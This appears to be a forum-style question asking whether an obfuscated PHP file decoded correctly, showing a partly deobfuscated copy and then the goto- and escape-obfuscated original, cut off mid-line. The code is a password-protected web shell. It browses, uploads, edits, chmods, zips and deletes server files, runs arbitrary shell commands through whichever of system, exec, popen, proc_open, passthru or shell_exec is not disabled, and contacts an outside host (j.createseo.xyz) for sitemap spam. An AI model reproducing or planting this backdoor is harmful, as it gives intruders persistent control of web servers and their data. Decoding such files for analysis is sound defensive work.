            "/" 
        ); 
        $pathParts["extension"] = substr( 
            strrchr($filepath, "."), 
            1 
        ); 
        $pathParts["filename"] = ltrim( 
            substr( 
                $pathParts["basename"], 
                0, 
                strrpos($pathParts["basename"], ".") 
            ), 
            "/" 
        ); 
        return $pathParts; 
    } 
} 
function formatSizeUnits($bytes) 
{ 
    goto j0hEYxflmE; 
    RPo01wVev1: 
    $bytes = $bytes . " byte"; 
    jbqnM0o3jM: 
    return $bytes; 
    goto YwDM23Y5Sm; 
    j0hEYxflmE: 
    if ($bytes >= 1073741824) { 
        goto jlVKop1571; 
    } 
    if ($bytes >= 1048576) { 
        goto ioPKAfIZpv; 
    } 
    if ($bytes >= 1024) { 
        goto Jfa1Lwht3n; 
    } 
    if ($bytes > 1) { 
        goto PYm3pFaIfk; 
    } 
    if ($bytes == 1) { 
        goto l0EeM02bHU; 
    } 
    goto aEtYr0lXhd; 
    aEtYr0lXhd: 
    $bytes = "0 bytes"; 
    goto jbqnM0o3jM; 
    jlVKop1571: 
    $bytes = number_format($bytes / 1073741824, 2) . " GB"; 
    goto jbqnM0o3jM; 
    goto GkRzOd13Va; 
    GkRzOd13Va: 
    ioPKAfIZpv: 
    $bytes = number_format($bytes / 1048576, 2) . " MB"; 
    goto jbqnM0o3jM; 
    Jfa1Lwht3n: 
    $bytes = number_format($bytes / 1024, 2) . " KB"; 
    goto m700j2_YlE; 
    m700j2_YlE: 
    goto jbqnM0o3jM; 
    PYm3pFaIfk: 
    $bytes = $bytes . " bytes"; 
    goto jbqnM0o3jM; 
    l0EeM02bHU: 
    goto RPo01wVev1; 
    YwDM23Y5Sm: 
} 
function fileExtension($file) 
{ 
    return substr(strrchr($file, "."), 1); 
} 
goto svEpz6K2V1; 
lfyJvnrAOF: 
$p = $root_path; 
goto ip5Y5fVJKg; 
kCR9CY7oRT: 
if (empty($_GET["p"])) { 
    goto Ysner77MKs; 
} 
if (!is_dir(decodePath($_GET["p"]))) { 
    goto p9bUk1LnBZ; 
} 
goto nxWXa7VbJS; 
aaHpKede2n: 
function str_path($path) 
{ 
    return str_replace("//", "/", $path); 
} 
function do_show($filepath) 
{ 
    goto Rz8s67ZRrI; 
    ScxXGbCRbU: 
    goto Ng7bNrT3zQ; 
    fUO_TAgElk: 
    $files = str_path($filepath . "/" . $file); 
    $show[] = $files; 
    goto Ng7bNrT3zQ; 
    goto VZZt4BWNU7; 
    VZZt4BWNU7: 
    UtCllptJV3: 
    $dir->close(); 
    return $show; 
    goto h6foEqdHnT; 
    Rz8s67ZRrI: 
    $show = []; 
    $dir = dir($filepath); 
    Ng7bNrT3zQ: 
    if (!($file = $dir->read())) { 
        goto UtCllptJV3; 
    } 
    if (!($file == "." or $file == "..")) { 
        goto fUO_TAgElk; 
    } 
    goto ScxXGbCRbU; 
    h6foEqdHnT: 
} 
function do_deltree($deldir) 
{ 
    $showfile = do_show($deldir); 
    foreach ($showfile as $del) { 
        goto wuT2buQBBD; 
        wuT2buQBBD: 
        if (is_dir($del)) { 
            goto T7BErAT4SV; 
        } 
        if (!is_dir($del)) { 
            goto HYdQI2TQoI; 
        } 
        goto eZgUdCOPad; 
        T7BErAT4SV: 
        if (do_deltree($del)) { 
            goto E4X6hBrJee; 
        } 
        goto t02_0Wyxd0; 
        sz81YcU8ah: 
        if (@unlink($del)) { 
            goto steRP4BnEJ; 
        } 
        return false; 
        steRP4BnEJ: 
        eZgUdCOPad: 
        snicgCrUNf: 
        goto N80oGceul3; 
        t02_0Wyxd0: 
        return false; 
        E4X6hBrJee: 
        goto eZgUdCOPad; 
        HYdQI2TQoI: 
        @chmod($del, 0777); 
        goto sz81YcU8ah; 
        N80oGceul3: 
    } 
    GvUVWz9i2U: 
    @chmod($deldir, 0777); 
    if (@rmdir($deldir)) { 
        goto t6cmE0a2tI; 
    } 
    return false; 
    t6cmE0a2tI: 
    return true; 
} 
function do_download($filecode, $file) 
{ 
    header( 
        "Content-type: application/unknown" 
    ); 
    header( 
        "Accept-Ranges: bytes" 
    ); 
    header( 
        "Content-length: " . 
            strlen($filecode) 
    ); 
    header( 
        "Content-disposition: attachment; filename=" . 
            $file . 
            ";" 
    ); 
    echo $filecode; 
    exit(); 
} 
function owner($file) 
{ 
    if ( 
        function_exists( 
            "posix_getpwuid" 
        ) 
    ) { 
        goto FRa8NLwM1r; 
    } 
    return "<center>" . 
        fileowner($file) . 
        "</center>"; 
    goto HCD97KqtTO; 
    FRa8NLwM1r: 
    $tod = @posix_getpwuid(fileowner($file)); 
    return "<center>" . 
        $tod["name"] . 
        "</center>"; 
    HCD97KqtTO: 
} 
goto O7np4m2MW4; 
ymTJBFzQ0r: 
@chdir($root); 
if (!is_writable($root)) { 
    goto oNTkWh3NNu; 
} 
echo "writeable"; 
goto VpgmEEVBl6; 
oNTkWh3NNu: 
goto DCDFUS6r9D; 
vbwbvRt9dr: 
p9bUk1LnBZ: 
echo "<script>\xaalert('Directory is Corrupted and Unreadable.');
window.location.replace('?');
</script>"; 
goto P57KG28Hhn; 
xX_rcxX1As: 
$p = decodePath($_GET["p"]); 
goto XQ5h7O5Oe4; 
y9WumEOrzr: 
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto Yd2b0KWHSl; 
vF__m0P419: 
echo "<script>alert('Renamed.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
Yd2b0KWHSl: 
goto TjTuO3kla5; 
fBCxDX2yaJ: 
vg7S73IY0W: 
echo "<script>alert('Cannot Unzip File / Unreadable File !'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto YUXFZ5UEiI; 
iuViSWE1eK: 
echo "<script>alert('This isn't Zip File !'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto vxzBT2t4Ws; 
OOUCVCGshG: 
goto xqmaepGySN; 
q1HHR2SOOX: 
if (!is_readable(PATH)) { 
    goto AgUhbNx2_q; 
} 
$fetch_obj = scandir(PATH); 
$folders = []; 
goto l6uz96Jn_X; 
kXYzdRguua: 
$_SESSION["loggedInm"] = false; 
Q3_P8pKZ2v: 
if (!isset($_POST["password"])) { 
    goto bCNtei5z0m; 
} 
if (!(md5($_POST["password"]) == $password)) { 
    goto OOviXlWFpA; 
} 
$_SESSION["loggedInm"] = md5( 
    $_POST["password"] 
); 
goto O_JPcBH1qF; 
bXmHCYGU42: 
echo "<script>alert('fail create.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto Jqe9xv4f1Z; 
zHYccVmZOD: 
echo "<script>alert('create success.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
Jqe9xv4f1Z: 
goto P_CIcdx8pn; 
O7np4m2MW4: 
function delDirAndFile($dirName) 
{ 
    goto fZdPEoM4d1; 
    fZdPEoM4d1: 
    $deltestaus = 1; 
    if (!($handle = opendir("{$dirName}"))) { 
        goto romJ6KqfbP; 
    } 
    C1_0S_2lZ3: 
    if (!(false !== ($item = readdir($handle)))) { 
        goto DWLooYGzzD; 
    } 
    if (!($item != "." && $item != "..")) { 
        goto gL82ZFQ5HA; 
    } 
    goto dqs_FNUg3n; 
    wpVhlqIwww: 
    TFbNaWnpDj: 
    romJ6KqfbP: 
    return $deltestaus; 
    goto HJgpuuXP0p; 
    dqs_FNUg3n: 
    if (is_dir("{$dirName}/{$item}")) { 
        goto cDhSmJmU7f; 
    } 
    if (unlink("{$dirName}/{$item}")) { 
        goto JdeHBYDhFS; 
    } 
    $deltestaus = 0; 
    goto e9Bx_XANpg; 
    JdeHBYDhFS: 
    goto HwQ6C72kU3; 
    HwQ6C72kU3: 
    $deltestaus = 1; 
    e9Bx_XANpg: 
    goto ks5lgThk3p; 
    cDhSmJmU7f: 
    delDirAndFile("{$dirName}/{$item}"); 
    goto NZXnraDnEt; 
    arFCVkh7Ia: 
    if (rmdir($dirName)) { 
        goto XnihouTJJN; 
    } 
    $deltestaus = 0; 
    goto TFbNaWnpDj; 
    XnihouTJJN: 
    $deltestaus = 1; 
    goto wpVhlqIwww; 
    NZXnraDnEt: 
    ks5lgThk3p: 
    gL82ZFQ5HA: 
    goto C1_0S_2lZ3; 
    DWLooYGzzD: 
    closedir($handle); 
    goto arFCVkh7Ia; 
    HJgpuuXP0p: 
} 
function run($code, $method = "popen") 
{ 
    goto x2csG2P3WM; 
    yII1RQeKZD: 
    $method = ""; 
    foreach ($command_array as $command) { 
        if (in_array($command, $new_disable)) { 
            goto nnwqI69oo2; 
        } 
        $method = $command; 
        goto a_IZ3a3AQ6; 
        nnwqI69oo2: 
        lQkjycFBi9: 
    } 
    a_IZ3a3AQ6: 
    if (!empty($method)) { 
        goto Cg_cImvA81; 
    } 
    return false; 
    goto o02Ud4FThn; 
    o02Ud4FThn: 
    Cg_cImvA81: 
    $result = ""; 
    switch ($method) { 
        case "proc_open": 
            $descriptorspec = [ 
                0 => ["pipe", "r"], 
                1 => ["pipe", "w"], 
                2 => [ 
                    "pipe", 
                    "error.txt", 
                ], 
            ]; 
            $pipes = []; 
            proc_open($code, $descriptorspec, $pipes); 
            return false; 
            goto JPWUY1gj2_; 
        case "passthru": 
            passthru($code); 
            return false; 
            goto JPWUY1gj2_; 
        case "shell_exec": 
            $result = ""; 
            $result = shell_exec($code); 
            return $result; 
            goto JPWUY1gj2_; 
        case "system": 
            $result = ""; 
            system($code, $result); 
            return $result; 
            goto JPWUY1gj2_; 
        case "popen": 
            $fp = popen($code, "r"); 
            Zyffnjhh6F: 
            if (feof($fp)) { 
                goto P20w9pp3iI; 
            } 
            $out = fgets($fp, 4096); 
            $result .= $out; 
            goto Zyffnjhh6F; 
            P20w9pp3iI: 
            pclose($fp); 
            return $result; 
            goto JPWUY1gj2_; 
        case "exec": 
            exec($code, $array); 
            foreach ($array as $key => $value) { 
                $result .= $key . " : " . $value . PHP_EOL; 
                AzaXFt7C0P: 
            } 
            WhJD_7yNi3: 
            return $result; 
            goto JPWUY1gj2_; 
        default: 
            return false; 
            goto JPWUY1gj2_; 
    } 
    KyRnEP_lLx: 
    JPWUY1gj2_: 
    goto FKQqy06MEG; 
    x2csG2P3WM: 
    $disabled = explode( 
        ",", 
        ini_get( 
            "disable_functions" 
        ) 
    ); 
    $new_disable = []; 
    foreach ($disabled as $item) { 
        $new_disable[] = trim($item); 
        vrqYcqdckp: 
    } 
    yhjkTVjzx4: 
    $command_array = [ 
        "system", 
        "shell_exec", 
        "popen", 
        "exec", 
        "proc_open", 
        "passthru", 
    ]; 
    goto yII1RQeKZD; 
    FKQqy06MEG: 
} 
$root_path = __DIR__; 
if (isset($_GET["p"])) { 
    goto kCR9CY7oRT; 
} 
if (isset($_GET["q"])) { 
    goto PSmGWnHUB_; 
} 
goto lfyJvnrAOF; 
aaErwz4hMW: 
DQviXZZ9KV: 
xw00L_iaef: 
Ox8GsjTRch: 
if (!(isset($_GET["c"]) && isset($_GET["q"]))) { 
    goto BZzwztz2oV; 
} 
$name = PATH . "/" . $_GET["c"]; 
goto DBIGfN5oN6; 
cx9kynoFNX: 
$data = $_POST["data"]; 
$f_put = "file_put_contents"; 
$f_get = "file_get_contents"; 
$editresult = $f_put($filename, $data); 
if ($editresult) { 
    goto YBAkjOizIP; 
} 
goto Hw2SFfUvmj; 
qdNokVNj0r: 
xqmaepGySN: 
if (!isset($_GET["upload"])) { 
    goto mobEwcpmHG; 
} 
echo "\xd\xa    <form method="post" enctype="multipart/form-data">
\xa        Select file to upload:\xd\xa        <input type="file" name="fileToUpload[]" id="fileToUpload" multiple>
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">\xd
    </form>"; 
mobEwcpmHG: 
if (!isset($_GET["kk"])) { 
    goto QxUwM_PXJt; 
} 
goto l_SFPYEYZB; 
nVo5s5oxsg: 
if (!in_array($f_put, $disabled)) { 
    goto fYRUNwbVGx; 
} 
$fuction_info .= 
    "put_cont is disable"; 
$error_number++; 
fYRUNwbVGx: 
if (!($error_number != 0)) { 
    goto tKspy7o_GA; 
} 
goto CZo8Ug9WbC; 
BdfteEBNQg: 
$f_put = 
    "file" . 
    "_" . 
    "put_" . 
    "contents"; 
$create_result = @$f_put($filename, $filecontent); 
if ($create_result) { 
    goto HMbg1j6BYJ; 
} 
echo "<script>alert('fail create.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto MItMQRKThR; 
goto X2KTCL7k4a; 
ekJayuD6uK: 
$return_data = []; 
$return_data["title"] = 
    "start ping sitemap"; 
mEkWNEil0p: 
if (!isset($_GET["checksitem"])) { 
    goto A3xqiJxa7Y; 
} 
$url = 
    "http://j.createseo.xyz"; 
goto iE5GF0EFHP; 
XtuPtIKGQH: 
nLNRoqlQpR: 
goto wYYR3gCcqU; 
ote_LS0OFh: 
if (chmod($name, 0644) == true) { 
    goto JobEMi9cLr; 
} 
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto dXOvHDfdil; 
IMIaBlDoSW: 
echo "
\xa    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"\xd
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"\xd
        crossorigin="anonymous"></script>\xd
</body>
\xa
</html>"; 

Did this file decode correctly?

Original Code

<?php
goto Jau2xZy8Vk;
bj6_Z5R6P8:
echo "\15\12\15\xa\xd\12\x20";
if (isset($_GET["\x70"])) {
    goto q1HHR2SOOX;
}
if (!empty($_GET)) {
    goto woYuc9E759;
}
echo "<?  <script>window.location.replace('?p=');</script> ?>";
woYuc9E759:
goto OOUCVCGshG;
l6uz96Jn_X:
$files = [];
foreach ($fetch_obj as $obj) {
    goto jlMuqpId_8;
    AgOXMMOqXg:
    g4RpX0CIKo:
    array_push($files, $obj);
    n4RMa5xY6q:
    X5nHSLEoLV:
    goto lAZSVt7bSD;
    PAeWMiFFMF:
    if (is_file($new_obj)) {
        goto g4RpX0CIKo;
    }
    goto n4RMa5xY6q;
    xPZRTM7NQi:
    array_push($folders, $obj);
    goto n4RMa5xY6q;
    goto AgOXMMOqXg;
    jlMuqpId_8:
    if (!($obj == "\56" || $obj == "\56\x2e")) {
        goto olQA0Y2gcb;
    }
    goto X5nHSLEoLV;
    olQA0Y2gcb:
    $new_obj = PATH . "\x2f" . $obj;
    if (is_dir($new_obj)) {
        goto xPZRTM7NQi;
    }
    goto PAeWMiFFMF;
    lAZSVt7bSD:
}
lJyS_4lHIA:
AgUhbNx2_q:
echo "<?  
\xa<table class="table table-hover">
  <thead>
\xa    <tr>\xd\xa      <th scope="col">Name</th>
\xa      <th scope="col">Size</th>\xd\xa      <th scope="col">Modified</th>
\xa\x9  <th scope="col">Owner</th>
\xa      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
\xa    </tr>\xd
  </thead>
  <tbody>
 ?>";
 
goto BhgHKoaYjU;
yWBOrjCfKX:
gG4SLL8ZpK:
if (!isset($_GET["\156\x65\x77\x66\157\154\x64\145\x72"])) {
    goto QqD2SPSyaW;
}
echo "<?  <form method="post"><div class="form-group"><label for="n">Name :</label><input name="n" id="n" class="form-control" autocomplete="off"></div><br/><div class="form-group"><input type="submit" class="btn btn-dark" value="createfolder" name="createfolder"></div></form> ?>";
QqD2SPSyaW:
if (!isset($_GET["\x70\x69"])) {
    goto mEkWNEil0p;
}
goto ekJayuD6uK;
eDsT2K4DBZ:
OMlJcPFOzk:
$disabled = explode(
    "\x2c",
    ini_get(
        "disable_functions"
    )
);
$fuction_info = "";
if (!(sizeof($disabled) > 0 && !empty($disabled[0]))) {
    goto j91DLN_dgk;
}
$error_number = 0;
goto ig67rngtrm;
ig67rngtrm:
$f_put = "file_put_contents";
$f_get = "file_get_contents";
if (!in_array($f_get, $disabled)) {
    goto Ttb1zOlxjd;
}
$fuction_info .=
    "\147\x65\164\137\x63\x6f\156\x74\40\151\163\x20\x64\151\x73\141\x62\154\x65\x3c\x62\162\57\x3e";
$error_number++;
goto P8PLbzfoc7;
TsyWtatbcv:
$sourceDir1 = $dir;
$outZipPath1 = PATH . "\x2f" . $_GET["\172"] . "\x2e\172\x69\x70";
$zip = new Zip();
$zip::zipDir($sourceDir1, $outZipPath1);
if (file_exists($outZipPath1)) {
    goto tDOssPXyMf;
}
goto zx4kpxwyrQ;
vxzBT2t4Ws:
YUXFZ5UEiI:
$zip = new ZipArchive();
$res = $zip->open($file);
if ($res == true) {
    goto KBsq9sldzB;
}
echo "\x3c\x73\143\x72\x69\160\164\x3e\x61\154\145\x72\164\50\x27\106\x61\151\154\145\144\x20\164\157\x20\125\x6e\172\151\x70\x20\106\x69\154\x65\x20\x21\x27\x29\73\40\167\151\156\x64\157\x77\x2e\x6c\157\x63\141\x74\151\x6f\x6e\x2e\162\145\x70\x6c\141\143\145\x28\47\x3f\x70\75" .
    encodePath(PATH) .
    "\x27\x29\73\x3c\x2f\163\143\162\151\x70\x74\x3e";
goto nv_28evyoS;
g8QHH76itV:
goto KN3EnRrtlZ;
Ha1X9DnNs_:
echo "\x3c\x73\143\x72\151\160\x74\76\167\x69\156\x64\x6f\x77\x2e\x6c\157\x63\x61\x74\151\x6f\156\56\x72\x65\160\154\141\143\x65\x28\x27\77\x70\x3d\x27\x29\73\74\x2f\163\143\x72\x69\160\164\x3e";
goto KN3EnRrtlZ;
SjiUG3Lq37:
goto bTOYiUeybq;
fbG_xkugHt:
if (
    move_uploaded_file(
        $_FILES["\x66\x69\154\x65\x54\x6f\x55\x70\154\x6f\x61\x64"][
            "\164\155\160\137\x6e\x61\x6d\x65"
        ][$i],
        $target_file
    )
) {
    goto bY112UJEGT;
}
$str .=
    "\x3c\160\76\123\157\x72\162\x79\x2c\x20\164\x68\145\x72\x65\x20\x77\x61\x73\40\141\156\x20\x65\x72\162\x6f\x72\x20\165\x70\x6c\x6f\141\x64\151\156\147\x20\171\x6f\x75\162\40\x66\151\154\145\x2e\74\57\x70\76";
goto VF47vtDFxB;
bY112UJEGT:
$str .=
    "\x3c\160\x3e" .
    htmlspecialchars(
        basename(
            $_FILES["\x66\151\154\145\124\157\x55\x70\154\x6f\x61\144"][
                "\x6e\141\155\x65"
            ][$i]
        )
    ) .
    "\40\x68\x61\x73\40\x62\x65\x65\156\x20\x75\160\154\157\x61\x64\145\x64\56\74\x2f\160\x3e";
goto V4euIzVFEo;
w8deuCw1Wq:
YAe2zQqyUV:
if (!(isset($_GET["\x70\141\x63\153"]) && isset($_GET["\x71"]))) {
    goto cM0WWgEenh;
}
cM0WWgEenh:
goto IMIaBlDoSW;
XQ5h7O5Oe4:
P57KG28Hhn:
goto ip5Y5fVJKg;
PSmGWnHUB_:
if (!is_dir(decodePath($_GET["\161"]))) {
    goto Ha1X9DnNs_;
}
if (is_dir(decodePath($_GET["\161"]))) {
    goto SjiUG3Lq37;
}
goto g8QHH76itV;
CZo8Ug9WbC:
echo "\74\146\x6f\x6e\164\40\143\x6f\154\157\162\75\42\x72\145\x64\x22\76" .
    $fuction_info .
    "\74\57\146\157\156\x74\76";
tKspy7o_GA:
j91DLN_dgk:
echo "\xd\xa\74\x6e\141\x76\40\143\154\141\163\x73\x3d\42\x6e\x61\166\142\x61\162\x20\156\x61\x76\x62\141\162\55\x6c\151\147\150\x74\42\x20\163\164\x79\x6c\x65\x3d\42\142\141\143\x6b\147\x72\157\165\156\144\x2d\143\157\154\x6f\162\x3a\40\x23\x65\x33\x66\x32\146\144\73\42\x3e\15\xa\x20\x20\x3c\144\151\x76\40\x63\154\141\x73\x73\75\42\x6e\141\166\x62\141\162\x2d\x62\x72\141\x6e\x64\x22\76\xd\12\x20\x20\74\x61\40\150\162\145\146\75\x22\77\x22\x3e\74\x69\x20\x63\x6c\x61\163\163\x3d\42\146\x61\40\146\x61\x2d\x68\x6f\x6d\x65\x22\x20\141\x72\151\x61\55\x68\x69\x64\x64\x65\x6e\x3d\42\164\162\x75\145\x22\x3e\x3c\x2f\x69\x3e\74\x2f\x61\x3e\xd\xa";
$path = str_replace("\134", "\57", PATH);
goto Y9XygjMP1Z;
ImVT8XyE2a:
$filename = PATH . "\x2f" . $_POST["\143\141\167\160\156"];
$filecontent = $_POST["\x63\x61\167\x70\x63\164\156"];
$f_put =
    "\146\x69\x6c\x65" .
    "\137" .
    "\x70\x75\x74\137" .
    "\x63\157\156\x74\x65\x6e\x74\x73";
$create_result = @$f_put($filename, $filecontent);
if ($create_result) {
    goto zHYccVmZOD;
}
goto bXmHCYGU42;
V4euIzVFEo:
VF47vtDFxB:
j3QFf3R_w7:
$i++;
goto mC0cVIUkTS;
YSyq1EzeCv:
goto yUVfXNAouQ;
TjTuO3kla5:
UFjBICUtdc:
zZqSUR23nO:
anR35vTiIv:
if (!isset($_GET["\x65"])) {
    goto rn8pwvzu0g;
}
$f_put = "\146\151\154\x65\137\160\x75\x74\x5f\143\157\156\x74\145\156\164\163";
goto CyWKPJrq0i;
zx4kpxwyrQ:
echo "\x3c\x73\143\x72\x69\x70\x74\x3e\141\x6c\x65\162\164\x28\x27\146\x61\151\x6c\x20\172\151\x70\x20\106\x69\x6c\x65\x20\41\47\51\x3b\x20\x77\151\x6e\x64\157\x77\x2e\154\x6f\143\141\164\151\x6f\156\x2e\162\x65\160\154\x61\x63\145\50\47\77\160\x3d" .
    encodePath(PATH) .
    "\x27\51\x3b\x3c\57\x73\143\x72\151\x70\x74\x3e";
goto VZWnVrhxiQ;
tDOssPXyMf:
echo "\74\163\143\162\x69\160\x74\x3e\x61\x6c\145\162\x74\50\47\x53\165\x63\143\x65\163\163\40\x7a\x69\160\x20\x46\151\154\x65\40\41\x27\x29\73\40\x77\x69\x6e\x64\x6f\167\x2e\x6c\x6f\x63\x61\x74\151\x6f\156\56\162\145\160\154\141\143\x65\50\x27\77\x70\x3d" .
    encodePath(PATH) .
    "\47\x29\73\74\x2f\163\x63\x72\151\x70\164\x3e";
VZWnVrhxiQ:
goto w8deuCw1Wq;
nxWXa7VbJS:
if (is_dir(decodePath($_GET["\160"]))) {
    goto xX_rcxX1As;
}
goto P57KG28Hhn;
Ysner77MKs:
$p = $root_path;
goto P57KG28Hhn;
goto vbwbvRt9dr;
O_JPcBH1qF:
OOviXlWFpA:
bCNtei5z0m:
if (
    !(
        !$_SESSION["\154\x6f\x67\147\x65\144\111\156\x6d"] ||
        $_SESSION["\x6c\x6f\x67\x67\x65\x64\x49\156\155"] != $password
    )
) {
    goto HM7RvcTJMR;
}
echo "\xd\12\x3c\x68\164\x6d\x6c\x3e\x3c\x68\145\x61\144\x3e\74\164\151\164\x6c\145\x3e\x20\74\x2f\x74\151\164\x6c\x65\x3e\x3c\x2f\x68\x65\141\x64\x3e\xd\xa\x20\x20\74\142\157\x64\171\x3e\15\12\40\x20\40\x20\74\x70\x20\x61\154\x69\x67\x6e\75\x22\x63\x65\x6e\164\x65\162\42\76\x3c\143\145\x6e\164\x65\162\76\x3c\x66\157\x6e\164\x20\x73\164\x79\154\x65\75\x22\146\x6f\x6e\164\55\163\151\172\x65\72\61\x33\160\170\42\x20\x63\x6f\154\157\162\x3d\42\43\60\60\70\60\60\60\x22\x20\x66\x61\143\145\x3d\42\x54\162\x65\x62\x75\143\150\145\164\x20\x4d\x53\x22\x3e\15\12\40\40\40\40\x3c\146\157\162\x6d\40\155\x65\x74\x68\157\144\x3d\42\x70\x6f\163\164\x22\76\15\12\x20\40\x20\x20\x20\x20\x3c\151\156\x70\165\164\x20\164\x79\160\145\x3d\x22\160\x61\x73\163\167\x6f\x72\144\x22\x20\x6e\141\155\x65\x3d\x22\x70\141\x73\163\167\x6f\162\144\42\x3e\15\xa\40\x20\x20\x20\40\40\74\151\156\160\x75\x74\x20\164\171\x70\145\75\42\x73\x75\x62\155\151\x74\x22\x20\156\141\155\x65\75\42\x73\x75\142\155\151\164\x22\40\166\141\x6c\x75\145\x3d\x22\x20\x20\76\x3e\x22\76\xd\xa\40\x20\x20\x20\74\x2f\146\157\162\x6d\76\15\xa\40\40\x3c\x2f\x62\157\x64\x79\76\xd\12\74\x2f\150\164\x6d\154\76\xd\xa\15\xa";
exit();
goto jIcFiAPk87;
F4QA5V2tTi:
echo "\x6b\x69\x6c\x6c\x20\xe6\x89\xa7\xe8\xa1\214\xe4\270\215\346\210\220\xe5\x8a\237";
VXp7b6Aswh:
QxUwM_PXJt:
if (!isset($_GET["\156\x65\167\x66\151\154\145"])) {
    goto gG4SLL8ZpK;
}
echo "\xd\xa\74\150\65\x20\x63\154\x61\x73\x73\x3d\x22\142\x6f\162\x64\x65\x72\x20\x70\x2d\61\40\155\x62\55\x33\x22\x3e\x4e\145\x77\x20\x66\x69\154\145\74\57\150\x35\x3e\74\x66\157\x72\155\40\x6d\x65\164\150\x6f\x64\x3d\42\x70\157\163\164\x22\76\x3c\144\151\166\x20\x63\x6c\x61\x73\x73\x3d\x22\x66\x6f\162\155\x2d\x67\162\x6f\x75\160\x22\76\x3c\x6c\x61\x62\x65\x6c\40\x66\x6f\x72\x3d\42\x6e\42\x3e\106\151\154\145\40\x6e\x61\x6d\x65\40\x3a\x3c\57\154\x61\x62\x65\x6c\x3e\74\x69\x6e\x70\x75\x74\x20\164\171\x70\x65\75\42\x74\145\170\x74\42\x20\x6e\141\x6d\145\75\x22\x6e\x22\x20\151\144\x3d\x22\156\x22\40\x63\x6c\141\163\x73\x3d\x22\146\x6f\162\155\x2d\143\x6f\156\x74\x72\157\154\x22\x20\x70\x6c\x61\x63\145\x68\157\x6c\x64\145\162\75\x22\x68\141\143\153\x2e\164\170\x74\42\76\x3c\57\144\x69\x76\x3e\74\144\x69\166\40\x63\x6c\141\x73\x73\75\x22\x66\157\162\155\55\x67\162\x6f\x75\x70\x22\76\x3c\x6c\x61\x62\145\x6c\x20\146\x6f\162\x3d\x22\143\x74\156\42\x3e\103\157\x6e\x74\145\x6e\x74\40\72\74\x2f\154\x61\142\x65\x6c\76\74\164\145\x78\164\x61\x72\145\141\40\x73\164\x79\154\145\x3d\42\162\x65\163\151\172\x65\72\156\x6f\156\x65\42\40\156\141\155\145\x3d\42\143\164\x6e\x22\x20\151\144\x3d\42\x63\164\156\x22\40\x63\x6f\154\x73\x3d\x22\63\x30\x22\40\x72\x6f\167\x73\75\x22\61\x30\42\x20\143\x6c\x61\163\x73\75\42\146\157\162\x6d\x2d\143\x6f\156\x74\x72\x6f\x6c\x22\40\x70\x6c\x61\143\x65\150\157\x6c\x64\145\x72\75\x22\x23\40\123\164\x61\155\x70\x65\144\x20\102\x79\x20\x4d\145\x22\x3e\74\x2f\164\145\x78\x74\141\162\145\141\x3e\74\57\x64\151\x76\76\74\x62\x72\57\76\74\x64\x69\x76\40\x63\154\141\x73\163\75\x22\146\157\162\x6d\55\x67\x72\x6f\x75\x70\x22\x3e\74\x69\x6e\x70\165\164\x20\x74\171\160\145\75\42\163\165\142\155\x69\x74\x22\40\x63\x6c\x61\x73\x73\75\42\x62\164\x6e\x20\142\164\156\x2d\x64\x61\162\153\x22\40\166\141\154\165\145\x3d\x22\x63\x72\145\141\164\x65\x66\x69\154\x65\42\x20\x6e\141\155\x65\x3d\x22\143\x72\x65\141\x74\x65\146\x69\154\145\42\76\74\x2f\144\x69\x76\76\74\x2f\x66\x6f\x72\x6d\76";
goto yWBOrjCfKX;
BhgHKoaYjU:
foreach ($folders as $folder) {
    echo "\40\x20\x20\x20\x3c\x74\162\76\xd\12\40\40\40\40\40\40\x3c\164\144\76\74\x69\x20\143\154\x61\163\x73\75\47\146\141\x2d\163\157\154\x69\x64\x20\x66\141\55\146\157\154\144\x65\162\47\x3e\x3c\57\151\76\40\74\x61\x20\150\162\145\146\x3d\x27\77\x70\75" .
        urlencode(encodePath(PATH . "\57" . $folder)) .
        "\x27\x3e" .
        $folder .
        "\74\x2f\141\x3e\x3c\x2f\x74\144\76\15\12\40\40\x20\40\40\40\x3c\x74\144\x3e\x3c\x62\76\x2d\55\x2d\x3c\57\142\x3e\74\x2f\164\144\76\15\xa\40\x20\x20\x20\40\40\x3c\x74\144\76" .
        date(
            "\x46\40\x64\40\x59\x20\x48\72\x69\x3a\163\56",
            filemtime(PATH . "\57" . $folder)
        ) .
        "\x3c\57\164\144\x3e\xd\12\11\x20\x20\x20\74\164\144\x3e" .
        owner(PATH . "\x2f" . $folder) .
        "\x3c\x2f\164\144\x3e\15\12\40\40\40\40\x20\x20\x3c\x74\144\76\60" .
        substr(decoct(fileperms(PATH . "\x2f" . $folder)), -3) .
        "\74\x2f\x61\76\x3c\57\x74\x64\x3e\xd\xa\40\40\40\x20\40\x20\x3c\x74\144\76\xd\12\x20\40\x20\40\x20\40\x3c\141\40\164\151\164\154\145\x3d\47\x52\x65\156\x61\155\145\47\x20\x68\162\145\146\75\47\77\161\x3d" .
        urlencode(encodePath(PATH)) .
        "\46\162\75" .
        $folder .
        "\47\76\74\x69\x20\143\x6c\x61\163\x73\75\47\146\x61\x2d\x73\x68\141\x72\x70\40\146\141\x2d\162\145\147\165\154\x61\x72\x20\x66\141\55\x70\145\x6e\x2d\x74\157\x2d\163\x71\165\x61\x72\145\x27\76\x3c\57\x69\76\x3c\57\x61\x3e\xd\12\x20\40\40\x20\40\x20\x3c\x61\40\164\x69\164\154\x65\x3d\47\x44\145\154\145\x74\145\47\x20\x68\162\x65\146\x3d\47\x3f\x71\75" .
        urlencode(encodePath(PATH)) .
        "\46\144\x3d" .
        $folder .
